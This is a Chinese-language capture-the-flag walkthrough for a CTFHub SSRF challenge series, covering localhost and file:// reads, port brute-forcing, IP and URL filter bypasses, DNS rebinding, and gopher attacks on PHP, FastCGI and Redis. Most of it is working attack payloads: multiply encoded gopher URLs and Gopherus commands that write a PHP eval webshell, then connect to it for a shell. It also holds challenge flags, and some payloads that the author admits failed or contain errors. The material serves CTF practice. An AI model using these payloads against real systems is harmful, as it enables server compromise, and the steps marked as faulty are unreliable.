1、内网访问【左侧1】
在URL地址栏,输入:/?url=http://127.0.0.1/flag.php
注意:将默认页面的"?url="后的下划线“_"删掉。
127.0.0.1 和 localhost 都指的本机,均可访问。加上flag.php访问本机的php文件,得到目标Flag。
将Flag填写并提交,闯关结束。
2、伪协议读取文件
读取Web目录下的flag文件:
首先 web目录是:/var/www/html/,本题Flag在该目录下的flag.php文件。
对于文件,使用file协议file://,URL输入:file:///var/www/html/flag.php 。
注意:三个/,例如:http://、file:// 【协议的应用方法】
浏览器中,页面右击查看页面源代码,即可看到Flag码
提交Flag码,第二关结束。
3、端口扫描
3.1 BP抓包
对于端口8000-9000等单一变量的大量数据的变化,打开BurpSuite使用狙击手模式进行爆破。
首先打开BP的拦截,URL传值,输入:?url=127.0.0.1:8000,进行访问。
3.2 设置payload攻击 模式和字典
将拦截的GET请求数据包发送至Intruder功能模块,设置端口位置8080作为payload位置,采用狙击手模式对单个payload进行爆破攻击。
对爆破设置爆破字典,本例payload采用 数值类型,从8000-9000,间隔为1,逐个进行爆破。并点击开始攻击。
3.3 对爆破结果根据长度进行排序
查看状态码200的结果,可看到目标端口为:8863 。
3.4 重新输入ip和端口 查看结果
输入:?url=127.0.0.1:8663
3.5 提交Flag,闯关成功
4、URL Bypass【右侧1】
URL必须包含 http://notfound.ctfhub.com
URL输入: http://notfound.ctfhub.com@127.0.0.1/flag.php
5、数值IP Bypass
尝试127.0.0.1地址进行访问flag.php文件,发现127和172被禁用
可通过localhost替换127.0.0.1进行访问flag.php文件,即可看到Flag码。
也可以将127.0.0.1转换为16进制:0x7f000001。注意:此处,“.”用0表示。
输入:?url=0x7f000001/flag.php
得到Flag码,提交即可
6、302跳转Bypass
输入:?url=127.0.0.1/flag.php 发现IP字段被Ban。
输入:?url=localhost/flag.php即可得出flag码
也可以使用:
?url=http://localhost/flage.php
提交Flag码
7、DNS重绑定
点开题目附件,发现URL有两层
使用网站:rbndr.us dns rebinding service 对两个DNS进行拼接一个整体域名。
输入:?url=http://7f000001.7f000002.rbndr.us/flag.php
得出Flag
提交Flag
8、POST请求【中间1】
8.1 首先,访问本地ip的flag.php文件
输入:?url=http://127.0.0.1/flag.php
页面显示输入框,但无内容
8.2 右击页面,查看页面源代码
发现有注释的key值
key=87ad384658eb5321de6e61ec47566ecc
8.3 BurpSuite抓包,构造post请求数据包
打开BP拦截,挂代理,将key值复制粘贴至页面的输入框中,点击回车提交key值,进行抓包,将Http头部中Host的ip修改为127.0.0.1:80
gopher://127.0.0.1:80/ _POST /flag.php HTTP/1.1
Host: challenge-b8e8a5eb7300df63.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=87ad384658eb5321de6e61ec47566ecc
2025/3/11 补充 :经讲解,发现构造请求时,gopher协议后的POST请求与端口之间多了一个空格,原本的意思应为为该端口的POST方式,所以修改为:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
8.4 通过CyberChef网站进行URL编码
网站:CTF在线工具-在线URL编码|URL解码
编码后:
gopher%3A//127.0.0.1%3A80/%20%C2%A0_POST%20%C2%A0/flag.php%20%C2%A0HTTP/1.1%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D87ad384658eb5321de6e61ec47566ecc
8.5 复制编码后的数据包至文本txt
将%0A全部替换为%0d%0A,代码最后添加%0d%0A
gopher%3A//127.0.0.1%3A80/%20_POST%20/flag.php%20HTTP/1.1%0d%0AHost%3A%20challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%3A10800%0d%0AContent-Type%3A%20application/x-www-form-urlencoded%0d%0AContent-Length%3A%2036%0d%0A%0d%0Akey%3D87ad384658eb5321de6e61ec47566ecc%0d%0A
8.6 二次URL编码
二次编码结果:
gopher%253a%252f%252f127.0.0.1%253a80%252f%2b%252f_POST%2b%252fflag.php%2bHTTP%252f1.1%250d%250AHost%253a%2b127.0.0.1%253a80%250d%250AContent-Type%253a%2bapplication%252fx-www-form-urlencoded%250d%250AContent-Length%253a%2b42%250d%250A%250d%250Akey%253dkey%25253D8e7bc8cdc2ef6dd972ba9bce09ecb3e4%250d%250A
将gopher后和127.0.0.1后的冒号编码,还原为冒号(:),才有作用
最终payload:
gopher://127.0.0.1:80/%2520_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost%253A%2520challenge-b8e8a5eb7300df63.sandbox.ctfhub.com%253A10800%250d%250AContent-Type%253A%2520application/x-www-form-urlencoded%250d%250AContent-Length%253A%252036%250d%250A%250d%250Akey%253D87ad384658eb5321de6e61ec47566ecc%250d%250A
8.7 gopher攻击访问
将修改后完整的代码输入URL,点击访问,即可看到Flag码 【我做不出来 望各位结果顺利】
8.8 提交Flag码,闯关成功【失败】
9、上传文件
9.1 首先,查看本地ip的flag.php文件
输入:?url=127.0.0.1/flag.php
出现上传文件页面,但无提交按钮
9.2 页面,手动创建提交按钮
F12--(Edge浏览器)元素,在浏览文件按钮后手动创建一个提交按钮:
选择file行,点击前面的三个点----编辑为HTML,
元素,输入:<input type="submit" name="submit">
9.3 BurpSuite抓包
写一个一句话木马文件1.php,作为上传的文件
将编写好的一句话木马文件上传,捕包
修改HTTP头部的Host字段:127.0.0.1:80
即gopher://127.0.0.1:80/_POST flag.php HTTP/1.1
结果为: 【下面都出错了,注意是:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1】
gopher://127.0.0.1:80 POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 321
Content-Type: multipart/form-data;------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryXyfk6HxCj5FNB1uH
Content-Disposition: form-data; name="submit"鎻愪氦
------WebKitFormBoundaryXyfk6HxCj5FNB1uH--
9.4 请求数据包URL编码
在URL编码网站,将请求数据表URL编码。将编码结果复制在txt文件中,并把%0A替换为%0d%0A
gopher%3a127.0.0.1%3a80+POST+%2fflag.php+HTTP%2f1.1%0aHost%3a+127.0.0.1%3a80%0aContent-Length%3a+321%0aContent-Type%3a+multipart%2fform-data%3b+%0a%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22file%22%3b+filename%3d%221.php%22%0aContent-Type%3a+application%2foctet-stream%0a%0a%3c%3fphp+%40eval(%24_POST%5b%27cmd%27%5d)%3b%3f%3e%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH%0aContent-Disposition%3a+form-data%3b+name%3d%22submit%22%0a%0a%e9%8e%bb%e6%84%aa%e6%b0%a6%0a------WebKitFormBoundaryXyfk6HxCj5FNB1uH--
//将一次编码后的%0A 全部替换为%0d%0A,代码最后添加一个%0d%0A
9.5 二次URL编码
编码后冒号也被编码,则gopher后面和端口号前的冒号需要还原
即gopher://127.0.0.1:80/
注意:这里结果是正常的,因为是借鉴的。上面将gopher行错误修改后,再进行两次编码,结果就是下面的正确编码。
二次编码结果:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------52784884522622430571436464685%250D%250AContent-Length%253A%2520379%250D%250A%250D%250A-----------------------------52784884522622430571436464685%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250D%250A-----------------------------52784884522622430571436464685%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------52784884522622430571436464685--%250D%250A
9.6 gopher攻击访问,得出结果
9.7 提交Flag码即可
10、FastCGI协议
10.1 一句话木马经base编码写入shell.php文件中
一句话木马:
<?php @eval($_POST['cmd']);?>
base64编码后:
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
10.2 打开kali,使用gopherus生成攻击链接
项⽬地址:
git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit fastcgi
执行一句行木马,生成payload
生成的payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH119%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00w%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%2B%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
10.3 将上一步得到的攻击链接,进行URL编码
url编码后:
gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH119%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500w%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8%252B%2522%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
10.4 将编码后的payload作为参数值输入页面的URL处进行访问
10.5 访问shell.php文件
10.6 将访问后的链接,通过蚁剑连接,即得到shell
http://challenge-a4c7a63e531e67c6.sandbox.ctfhub.com:10800/shell.php
编码器base64
10.6 通过shell在目录中寻找flag
Flag:ctfhub{11394f17ed3f340d46a0658b}
10.7 提交Flag码
11、Redis协议
11.1 利用gopherus工具生成攻击载荷
kali,输入:python2 gopherus.py --exploit redis
使用PHPShell
/var/www/html/
写入一句话木马:<?php @eval($_POST['cmd']);?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
11.2 对攻击载荷URL编码,在闯关页面进行访问上传的⽂件shell.php
URL编码后:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
在页面的URL后输入,编码后的攻击载荷
再访问上传的shell.php文件,出现下图结果
11.3 使用访问后的URL,在蚁剑进行连接 ,获得shell
将上一步访问shell.php文件的url复制,通过蚁剑进行连接
注意: 编码器为base64
11.4 通过目录找到flag文件,打开得到Flag码,并提交
返回其根目录,找到flag文件,打开得到目标FLAG码
flag码:ctfhub{f3bceed3f35dca3581e57040}